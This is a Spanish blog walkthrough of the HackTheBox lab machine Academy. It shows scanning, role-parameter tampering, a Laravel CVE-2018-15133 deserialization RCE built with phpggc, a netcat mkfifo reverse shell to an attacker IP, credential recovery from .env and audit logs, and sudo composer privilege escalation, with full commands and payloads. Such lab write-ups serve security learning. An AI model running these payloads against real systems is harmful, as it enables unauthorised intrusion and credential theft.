Saltar al contenido

HackTheBox – Academy – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Academy de Hack The Box. Es una máquina Linux, de nivel fácil, basada en una vulnerabilidad web, laravel y lectura de logs.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.10.215

En la máquina hay tres puertos abiertos. Escaneo los tres puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80,33060 -sC -sV 10.10.10.215
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-09 15:56 CEST
Nmap scan report for 10.10.10.215
Host is up (0.12s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
|   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_  256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=4/9%Time=6251907D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a
SF:\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000"
SF:)%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
SF:ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.35 seconds

HTTP

Comienzo obteniendo información básica de la web con whatweb.

whatweb -a 3 http://academy.htb/

y, a continuación, accedo a la web.

Ha simple vista no hay mucho así que accedo al panel de login y me autentico con las credenciales test:test.

Explotación

Después de un rato navegando por la página no encuentro mucho que hacer así que decido crear un nuevo usuario con las credenciales evil:evil pero, al capturar la petición con BurpSuite, me doy cuenta que el parámetro roleid lo iguala a 0.

Pruebo a cambiar roleid=1 y lanzo la petición.

Al autenticarme con el nuevo usuario no obtengo nada así que hago un fuzzing de ficheros php y encuentro uno llamado admin.php.

gobuster dir -u http://academy.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php

Al acceder a él, veo que es una ventana de autenticación así que utilizo las nuevas credenciales y consigo acceder.

Llego a una web estática con una tabla de tareas pendientes donde indican que hay un problema en el subdominio dev-staging-01.academy.htb.

Añado el subdominio al /etc/hosts y accedo a él.

A primera vista, parece una página llena de errores de depuración (debugging) pero leyendo un poco encuentro que está utilizando el framework de Laravel.

Googleando un poco encuentro que Laravel posé una vulnerabilidad registrada como CVE-2018-15133 que me permite la ejecución remota de comandos (RCE). Decido utilizar el exploit del github kozmic.

El exploit necesita el paramétro APP_KEY que encuentro en los datos del servidor.

Para utilizar el exploit, primero tengo que codificar el comando con phpggc (mas info aquí), después ejecuto el exploit cifrandolo con el APP_KEY y por último, envio el payload generado con curl.

Hago una prueba ejecutando el comando ifconfig.

phpggc Laravel/RCE1 system 'ifconfig' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6ImlmY29uZmlnIjt9

./cve-2018-15133.php dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6ImlmY29uZmlnIjt9
X-XSRF-TOKEN: eyJpdiI6IlRzODN5dWpHYXFoVEd1N2UrMUtRZHc9PSIsInZhbHVlIjoiUWpXdHJYR3YzVFwvcU1ZVXF6azAxdjFnQU5lSmZNdXRqRERTS1pib2p3T2VJSHZwREQyaHRlajJYTWJuXC9YN0J0YXhTNERhWFpYXC94XC9hMmk0cHMzanJidDd5RzFpNHVlSWlMakRxdFhrb1lrd2dWOThjSThYbkpNT3Z3VXFFb21oOXRZZXhrRlVVVmh0U21oalZYOHphbzVMSjdLeUJxNDBLRHdWejJmUHZaS0ZGbG5GSnh3c2taNks0dWdvbEZrcjBpQ1F2TzVzOXJ0SHB5QlZkb0ZzXC9ma0RxSTF6K3FzV2dWblwvOXBaZWhxRW5Mc1JoMWtvb0s5VUNDOUxicGNyYyIsIm1hYyI6IjgxYjBmMGMxMzg3ZjJlMzEzNTdiNmQ3NTk4OGE2YmE4NWNkNGNjZjFjZDQ2Y2QxYTViZjQ1ZTRlYmFmNDc0NDkifQ==
curl http://dev-staging-01.academy.htb/ -X POST -H 'X-XSRF-TOKEN: eyJpdiI6IlRzODN5dWpHYXFoVEd1N2UrMUtRZHc9PSIsInZhbHVlIjoiUWpXdHJYR3YzVFwvcU1ZVXF6azAxdjFnQU5lSmZNdXRqRERTS1pib2p3T2VJSHZwREQyaHRlajJYTWJuXC9YN0J0YXhTNERhWFpYXC94XC9hMmk0cHMzanJidDd5RzFpNHVlSWlMakRxdFhrb1lrd2dWOThjSThYbkpNT3Z3VXFFb21oOXRZZXhrRlVVVmh0U21oalZYOHphbzVMSjdLeUJxNDBLRHdWejJmUHZaS0ZGbG5GSnh3c2taNks0dWdvbEZrcjBpQ1F2TzVzOXJ0SHB5QlZkb0ZzXC9ma0RxSTF6K3FzV2dWblwvOXBaZWhxRW5Mc1JoMWtvb0s5VUNDOUxicGNyYyIsIm1hYyI6IjgxYjBmMGMxMzg3ZjJlMzEzNTdiNmQ3NTk4OGE2YmE4NWNkNGNjZjFjZDQ2Y2QxYTViZjQ1ZTRlYmFmNDc0NDkifQ==' | head -n 5

Ya puedo ejecutar comandos!! El siguiente paso es obtener una shell reversa. Repito el proceso pero ejecutando una shell reversa por netcat.

phpggc Laravel/RCE1 system 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 7897 >/tmp/f' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjc3OiJybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC42IDc4OTcgPi90bXAvZiI7fQ==

./cve-2018-15133.php dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjc3OiJybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC42IDc4OTcgPi90bXAvZiI7fQ==
X-XSRF-TOKEN: eyJpdiI6IlBWZ3ZrbzdvVFA0NmFqbXF6aVV0Smc9PSIsInZhbHVlIjoibFZmc1NVS3dtbjI1dVJOalBCSklQdTF4b3dVXC9HbFB0NWVNZThwaWNOQ2FvNTZ6R282YzFDVDVka0RYRVVod2FaUVwvNm1XKzVCT3gwa3dFb1BBNTQ3eEVVOVhXTE9BSHBtbGdQcklDT2k2S29wK2dnNmpEblpCOXdVWktFRll6YnM1b3RxclNkYmQ4QmVkdlI5bzZxR1I1Vmxid3dKQzBGM3RUZURBd053ZllsTUhRU0FZK1NzeGhsbWRSRmRtSlZBamI3Q3lJT0JmQ25mb2hBcVFrcm9zMm9OcXBCZGZtVm5EdU4xTW90TTZ3WDZJS1VuUWtGcUMxd1llcVpFQlpcL0U3ckEyWFhFUHNxckpGcW9qeng3R0x2U3Iwdzd3WDJ1QWNYSlR2YjVnUkl6cTFXeU1nbndUcXhmZWF5c1hFcU1Yd0JGdEloREZvdW4zNUdNQkI1bVlBPT0iLCJtYWMiOiJjYTcxODgyOTk3MTYwNWUyMTNjNDUyYmViNGI0NTFlOWI1MjVjM2QxZWJkNGZkNjhmY2NlMmU0MWFhMTdhOGE0In0=
curl http://dev-staging-01.academy.htb/ -X POST -H 'X-XSRF-TOKEN: eyJpdiI6IlBWZ3ZrbzdvVFA0NmFqbXF6aVV0Smc9PSIsInZhbHVlIjoibFZmc1NVS3dtbjI1dVJOalBCSklQdTF4b3dVXC9HbFB0NWVNZThwaWNOQ2FvNTZ6R282YzFDVDVka0RYRVVod2FaUVwvNm1XKzVCT3gwa3dFb1BBNTQ3eEVVOVhXTE9BSHBtbGdQcklDT2k2S29wK2dnNmpEblpCOXdVWktFRll6YnM1b3RxclNkYmQ4QmVkdlI5bzZxR1I1Vmxid3dKQzBGM3RUZURBd053ZllsTUhRU0FZK1NzeGhsbWRSRmRtSlZBamI3Q3lJT0JmQ25mb2hBcVFrcm9zMm9OcXBCZGZtVm5EdU4xTW90TTZ3WDZJS1VuUWtGcUMxd1llcVpFQlpcL0U3ckEyWFhFUHNxckpGcW9qeng3R0x2U3Iwdzd3WDJ1QWNYSlR2YjVnUkl6cTFXeU1nbndUcXhmZWF5c1hFcU1Yd0JGdEloREZvdW4zNUdNQkI1bVlBPT0iLCJtYWMiOiJjYTcxODgyOTk3MTYwNWUyMTNjNDUyYmViNGI0NTFlOWI1MjVjM2QxZWJkNGZkNjhmY2NlMmU0MWFhMTdhOGE0In0=' | head -n 5

Me dirijo al directorio /home y veo que hay carpetas para 6 usuarios distintos.

Enumero el contenido de todos y veo que solo hay contenido en el directorio raíz del usuario cry0l1t3 y es precisamente la flag de usuario pero no tengo permisos de lectura sobre el fichero.

User Pivoting

Como hay una aplicación web que requiere autenticación, es normal que exista algún fichero en el que se almacenen credenciales. Me dirijo al directorio /var/www/html/academy y miro dentro del fichero oculto .env.

Buscando un poco por el fichero, encuentro la contraseña mySup3rP4s5w0rd!!.

Como se trata de un CTF voy a suponer que es la contraseña del usuario cry0l1t3.

Vuelvo al directorio raíz del usuario y obtengo la flag de usuario.

Escalada de Privilegios

El usuario se encuentra en el grupo adm. Los usuarios de este grupo pueden ver los logs del sistema.

Me dirijo a /var/log y filtro el contenido legible por adm. Encuentro un directorio llamado audit.

ls -l | grep 'adm'

Ahora tengo dos opciones, la forma manual y con aureport.

Manual

Entro en el directorio y encuentro 4 ficheros de logs.

Enumero todas las entradas de registro (TTY) de forma recursiva.

grep -r TTY

Y las voy descodificando una por una. En las dos primeras ya encuentro las credenciales mrb3n:mrb3n_Ac@d3my!.

'7375206D7262336E0A' | xxd -r -p

echo '6D7262336E5F41634064336D79210A' | xxd -r -p

En este caso ha sido fácil porque las credenciales estaban en las dos primeras entradas pero en otro caso hubiese sido mejor generar un comando que descodificase todas las entradas de forma automática

aureport

Esta herramienta solo funciona cuando la librería auditd está instalada. solamente ejecuto un comando y ya me muestra las credenciales.

aureport --tty

Elevo la shell con las credenciales que he encontrado.

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar que puedo ejecutar /usr/bin/composer.

sudo -l

Busco en GTFOBins y encuentro una forma de elevar privilegios con este comando.

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x

La flag de root la encuentro en el directorio raíz del usuario.

Y también encuentro un fichero llamado academy.txt en el que Hack The Box promociona su plataforma de aprendizaje.

tty

Las diferentes shells que se consiguen requieren de un tratamiento de la tty para ser OSCP Friendly. Yo he utilizado mi script (que se puede encontrar en mi github) para hacerlo de forma automática per a continuación describo como hacerlo de forma manual.

script /dev/null -c bash
^Z

CTRL + Z

Ahora sin cambiar de consola.

stty raw -echo; fg
reset

Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.

xterm
export TERM=xterm
export SHELL=bash

Y ya he conseguido una consola tty.

Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.

stty size

Y las modifico en la shell reversa.

stty rows [X] columns [Y]
Publicado enCTFforensicHTBLinuxOSCP